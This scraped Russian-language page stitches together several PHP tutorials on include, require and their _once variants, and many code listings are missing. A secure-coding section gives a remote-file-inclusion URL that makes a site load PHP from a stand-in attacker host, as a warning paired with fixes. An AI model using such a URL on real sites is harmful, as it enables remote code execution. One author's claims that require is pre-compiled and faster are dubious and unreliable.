Тарифы Услуги Сим-карты

Функции PHP: require(), require_once(), include(), include_once(). Включение модулей в рнр

Операторы PHP: require(), require_once(), include_once()

Дата: 2012-10-15

Функции PHP: require(), require_once(), include(), include_once()

В прошлом уроке мы подробно разобрали работу . Напомню, что оператор include() в PHP подставляет содержание одной веб-страницы, в другую web-страницу. Но в PHP есть и другие функции, позволяющие реализовать аналогичную задачу. В частности это функции:

include_once()
require()
require_once()

Чтобы вставить содержание определенной web-страницы, достаточно в качестве аргумента (в скобках) этих функций указать путь к нужному файлу. Например, вот так:

include("file.php") или require("file.php")

Задача у всех этих функций одна и та же: вставить нужный код или текст из одного файла в другой файл. Но, все-таки, эти функции отличаются между собой. Давайте разбираться чем.

Суффикс "_once " позволяет подключить код файла для подстановки в другой файл только один раз, сколько бы вызовов не осуществлялось. Для наглядности давайте разберем простой пример. В прошлом уроке мы разобрались, что с помощью оператора include() , можно вынести шапку сайта в отдельный файл header.php , для простоты будем считать, что в этот файл мы выносим графический логотип сайта. В нужном месте web-страницы (в данном случае на месте шапки сайта) прописываем код Листинга 1 .

Листинг 1.

То соответственно и логотип сайта тоже выведется два раза, примерно вот таким образом:

Согласитесь, смотрится не очень красиво, правда? Получается, что оператор include() два раза вытаскивает из папки blocks файл header.php и два раза подставляется его на место шапки сайта.

А вообще, во включаемом файле могут быть такие функции, которые при их добавлении в исходный файл, могут выдавать ошибки и ваша веб-страница вообще может не загрузиться.

На больших сайтах очень легко запутаться, где и какой файл Вы включали и можно ли включить его повторно, а это может привести к ошибке. Поэтому придумали приставку "_once " к функциям include и require , которая включает содержание файла в другую web-страницу только один раз .

Чем функция include() отличается от require()

Теперь давайте поговорим, чем функция include() отличается от функции require() . В самой работе у них отличий нет. И та и другая функции включают содержание одного файла в другой. Но отличие у них есть и заключается оно в способе реагирования на ситуацию, когда файла, который мы подключаем, не оказывается на месте.

Давайте вернемся к предыдущему примеру код Листинга 1 . У нас есть следующий код:

Include ("blocks/header.php");

Давайте попробуем удалить файл header.php , который мы собственно и подключаем, например файл поврежден или случайно был удален с севера.

Обновляем тестовый файл и видим вот такую ошибку:

Как Вы видите, появилось сообщение о том, что в директории (папке) blocks не найден файл header.php , но программа дальше все равно выполняется и остальная часть web-страницы сайта отображается нормально.

А если мы напишем код (Листинг 3 ) используя функцию require() :

Листинга 3 .

Require ("blocks/header.php");

То у нас будет выведено только одно сообщение об ошибке , и программа дальше выполняться не будет , и Вы увидете только вот такое сообщение.

В PHP есть замечательное свойство — подключение файлов, это может быть сторонняя библиотека или просто часть скрипта или верстки. Например, в отдельный файл можно вынести все функции, чтобы упростить чтение кода.
Начнем пожалуй с команд include и include_once . В чем же разница. Дело в том, что если вы подключите файл с помощью include несколько раз, то может возникнуть ошибка, в зависимости от содержимого подключаемого файла. И чтобы избежать повторного подключения используют include_once . В этом случае повторное подключение файла будет игнорироваться.

Теперь немного практики. Создадим маленький шаблон HTML и разобьем его на части, которые потом скомпонуем. А также создадим файл с функциями и тоже его подключим.

Вот сам сам макет:

Наш тестовый сайт

Наш тестовый сайт

Создадим 5 файлов: index.php, header.php, content.php, footer.php и functions.php.

Разделим нашу верстку на файлы, копируя и вставляя.

Содержимое header.php:

Наш тестовый сайт

Содержимое content.php:

Наш тестовый сайт

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.

Содержимое footer.php:

Как видите, мы просто взяли куски из шаблона и повставляли их в файлы php.

Но теперь нужно скомпоновать их. Для этого открываем файл index.php и подключаем в нем все наши файлы с кусками верстки и пока еще пустой файл с функциями:

Если вы запустите сайт, а именно файл index.php, то увидите, что вся верстка на месте.

Теперь напишем несколько функций в functions.php:

"Название сайта", "title" => "Наш тестовый сайт", "content" => "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.", "footer" => "2016г - Все права защищены" ]; return $cont; } //присваиваем переменной массив данных $cont = content(); ?>

Теперь вносим правки в наш код. Header.php:

<?=$cont["sitename"];?>

Как видите, теперь вся информация хранится в массиве внутри функции, мы ее достаем и публикуем на нашей страничке.

Теперь поговорим о require и require_once. Чем же эта функция отличается от include? Все очень просто. Если include не находит подключаемый файл, то он просто выводит ошибку и продолжает работу скрипта, require же напрочь останавливает его работу. Вот и все.

Просмотры: 1 846

Функция include() (ее аналог: inсlude_once() ) служит для того, чтобы прикреплять к PHP-коду новые модули на PHP. Предположим, информация об авторских правах занесена одной строкой в файл copyright.inc (кстати, немногие знают, что расширение .inc произошло от самого названия функции include() :

Include ("copyright.inc");

Теперь вы легко можете изменить один файл copyright.inc , чтобы отобразить изменения на всех страницах вашего сайта.

BillGates, (C)1995-2005

BillGates Ltd., 1995-2009

Более подробно о функциях включения модулей

. include() и require() - подключают и вычисляет специфицированный файл.

Эти две конструкции идентичны во всём, за исключением того, как они обрабатывают неудачное выполнение.

include() выдаёт Warning! , а require() выдаёт Fatal Error . Иначе говоря, не бойтесь использовать require() , если вам нужно, чтобы отсутствующий файл останавливал обработку страницы. include() не работает таким образом: скрипт всё равно продолжит работу.

Когда файл подключён, содержащийся в нём код наследует область видимости переменной строки, на которой возникло подключение. Любые переменные, доступные на этой строке в вызывающем файле, будут доступны в вызываемом файле, вперёд от этой точки.

Базовый пример include() :

vars.php test.php echo "A $color $fruit"; // A include "vars.php"; echo "A $color $fruit"; // A green apple ?>

Базовые примеры require() :

Если подключение возникает внутри функции в вызываемом файле, то весь код, содержащийся во включаемом файле, будет работать так, как если бы он был определён внутри. Так что он будет следовать области видимости переменной.

Подключение внутри функций:

Когда файл подключается, разбор переходит из режима PHP в режим HTML в начале целевого файла и вновь продолжает после конца. Исходя из этого, любой код внутри файла назначения, который должен выполняться как PHP-код, обязан быть заключён в правильные стартовый и конечный тэги РНР.

Пример include() через HTTP

Поскольку include() и require() являются специальными конструкциями языка, вы обязаны заключить их в блок операторов, если это внутри условного блока.

Пример include() и условные блоки:

Обработка возвращает: можно выполнить оператор return() внутри подключённого файла, чтобы прервать обработку этого файла и возвратиться в скрипт, вызвавший его. Также можно возвращать значения из подключённых файлов. Вы можете принять значение вызова include как обычно.

Примеры include() и return() :

return.php noreturn.php testreturns.php

$bar имеет значение 1 , поскольку подключение было успешным. Обратите внимание на отличия в примерах. Первый использует return() внутри подключённого файла, а другие - нет.


. include_once() и require_once() - включают и вычисляют специфицированный файл в процессе выполнения скрипта. Это поведение напоминает операторы include() и require() с той только разницей, что, если код из файла уже был подключён, он не будет подключён ещё раз. include_once() и require_once() должны использоваться в тех случаях, когда один и тот же файл может быть подключён и вычислен более одного раза в процессе определённого выполнения скрипта, а вы хотите иметь уверенность, что он включён точно один раз, чтобы избежать проблем с повторным определением функций, переназначениями переменных.

Примеры include_once() и require_once() :

. get_included_files - возвращает массив имён всех файлов, которые включены с использованием include() , include_once() , require() или require_once() .

. get_required_files - эта функция является псевдонимом для get_included_files() . Файлы, включённые или затребованные несколько раз, показаны в возвращаемом массиве только один раз.

Примечание : файлы, включённые с использованием директивы конфигурации auto_prepend_file , не входят в возвращаемый массив.

Пример get_included_files() :

сгенерирует на выводе:

Test1.php test2.php test3.php test4.php

. include_path string - Специфицирует список директорий, где функции require() , include() и fopen_with_path() ищут файлы. Формат напоминает системную переменную окружения PATH: список директорий, разделённых двоеточием в UNIX или точкой запятой - в Windows.

Пример UNIX include_path :

Include_path=.:/home/httpd/php-lib

Пример Windows include_path :

Include_path=".;c:\www\phplib"

Значение : по умолчанию: . (только текущая директория).

Безопасное программирование
или предотвращение include PHP-инъекций

Наиболее частой ошибкой с этой функцей является код:

в котором переменная $module передается как параметр из аресной строки вызова к скрипту (например, index.php?module=main.php ).

Ошибка кода в том, что входной параметр принимаются и используются без проверки. К содержимому переменной $module просто прибавляется «.php» и по полученному пути подключается файл.

Взломщик может на своём сайте создать файл, содержащий PHP-код (http://hackersite.com/inc.php ), и зайдя на сайт по ссылке вроде http://mysite.com/index.php?module=http://hackersite.com/inc выполнить любые PHP-команды.

Потенциально опасными в этом отношении являются функции:

eval() ,

preg_replace() (с модификатором «e»),

require_once() ,

include_once() ,

include() ,

require() ,

create_function() ,

fopen() .

Можно сделать фильтры на эту переменную, но лучшим решением этой проблемы являются следующие варианты:

Вариант 1 .

Конструкция с оператором switch , например так:

Вариант 2 . Проверять, что $module присвоено одно из допустимых значений:

PHP предоставляет также возможность отключения использования удаленных файлов, это реализуется путем изменения значения опции allow_url_fopen на Off в файле конфигурации php.ini .

Описанная уязвимость представляет высокую опасность для сайта и авторам PHP-скриптов не надо забывать про неё.

Включение больших файлов

Но при вложении в документ больших файлов, встроенная функция include может работать неудовлетворительно. И у стандартной функции нет проверки на присутствие файла, который мы собираемся вложить. У предлагаемой функции таких недостатков нет.

Function includeFile($filename) { if (file_exists($filename)) { $fd = fopen($filename, "r"); while (!feof($fd)) { $buffer = fgets($fd, 4096); echo $buffer; } fclose($fd); } else { // echo "документ не обнаружен"; } } # end of function

При разработке любого сайта и любой сложности, нужно в первую очередь брать направление на корректность написания кода. Например, если создавать весь код с многочисленными файлами на одной странице, то это приведет к путанице и большим неудобствам. А для этого нужно файлы разнести по категориям, а потом подключать их в основной код в нужных местах. Такой способ можно назвать — включаемые файлы. Это довольно простое название, но для человека, который в первый раз столкнулся с данной темой, можно и так назвать. А для того, чтобы можно было собрать все включаемые файлы в один код, нужно применить о которых написано в предыдущей статье, или использовать инструкции require и require_once о которых написано в данном тексте.

Практически инструкции require и require_once выполняют те же функции, что и инструкции include и include_once , за исключением некоторых моментов.

Синтаксис данных инструкций такой:

Require_once ‘config.php’; — файл настроек
require_once ‘header.php’; — шапка сайта
require ‘left.php’; — левый сайдбар
require ‘content.php’; — контент сайта
require ‘footer.php’; — подвал сайта

А разница в следующем. При обработке кода, PHP сначала преобразует сценарий во внутреннее представление, после чего начинается обработка кода строчка за строчкой. И если PHP находит в коде файл, включаемый инструкцией include , то он после загрузки файла полностью переключается на его выполнение, преобразует файл во внутреннее представление, а уже потом поэтапно его выполняет…

А вот инструкция require работает немного иначе. Подключенный с ее помощью файл, транслируется до выполнения сценария, другими словами, на момент обработки всего кода, этот файл уже оттранслирован!!! А отсюда и вывод — файлы подключенные инструкцией require — будут работать быстрее. И для меня например, данная инструкция предпочтительней. Но конечно и тут есть одно НО! При загрузке страницы браузером, может произойти сбой интернета и пользователь может увидеть только ту часть страницы, которая успела загрузиться. Или при каком то сбое в обработке, дальше зависшего файла обработка не пойдет. Но в web-сайте такое случается редко, так что данная инструкция все таки предпочтительней.

Чуть не забыл. Инструкция require_once — также выполняет роль для включения файла в общий код только один раз, чтобы не было повторений.

Вот и практически все, что нужно для начала знать о способе подключения файлов в общий поток написания кода. Более глубокие познания обычно приходят в процессе обучения и зависимо от потребностей, что естественно я предугадать не могу. Спасибо за внимание и извините за авторское изложение данных тем.

Март 2019
Пн Вт Ср Чт Пт Сб Вс
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31

РЕКЛАМА

    Инструкция include в PHP, инструкция include_once в php, включаемые файлы. При разработке простого динамического сайта, или более совершенных программ, невозможно

    Структура движка сайта, из чего состоит движок сайта, панель управления сайтом, шаблонизатор. В предыдущей статье было описано о том, что

    Что такое движок для сайта, как сделать движок сайта, система управления сайтом на php. Для того чтобы понять что такое